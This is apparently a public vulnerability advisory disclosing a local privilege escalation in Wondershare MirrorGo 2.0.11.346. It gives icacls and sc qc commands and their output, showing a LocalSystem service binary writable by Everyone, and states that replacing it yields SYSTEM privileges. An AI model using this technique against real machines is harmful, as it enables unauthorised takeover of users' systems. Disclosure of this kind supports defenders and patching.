Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions

# Exploit Title: Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-23
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/mirror_go_full8050.exe
# Tested Version: 2.0.11.346
# Vulnerability Type: Local Privilege Escalation
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Privilege Escalation: 

# Insecure folders permissions issue:

C:\>icacls "C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\*" | findstr /i "everyone" | findstr /i ".exe"


C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\adb.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\BsSndRpt.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall32.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall64.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\MirrorGo.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe.config Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\unins000.exe Everyone:(I)(F)

# Service info:

C:\>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ElevationService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Driver Install Service help
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A vulnerability was found in Wondershare MirrorGo 2.0.11.346. The Wondershare MirrorGo executable
"ElevationService.exe" has incorrect permissions, allowing a local unprivileged user to replace it
with a malicious file that will be executed with "LocalSystem" privileges.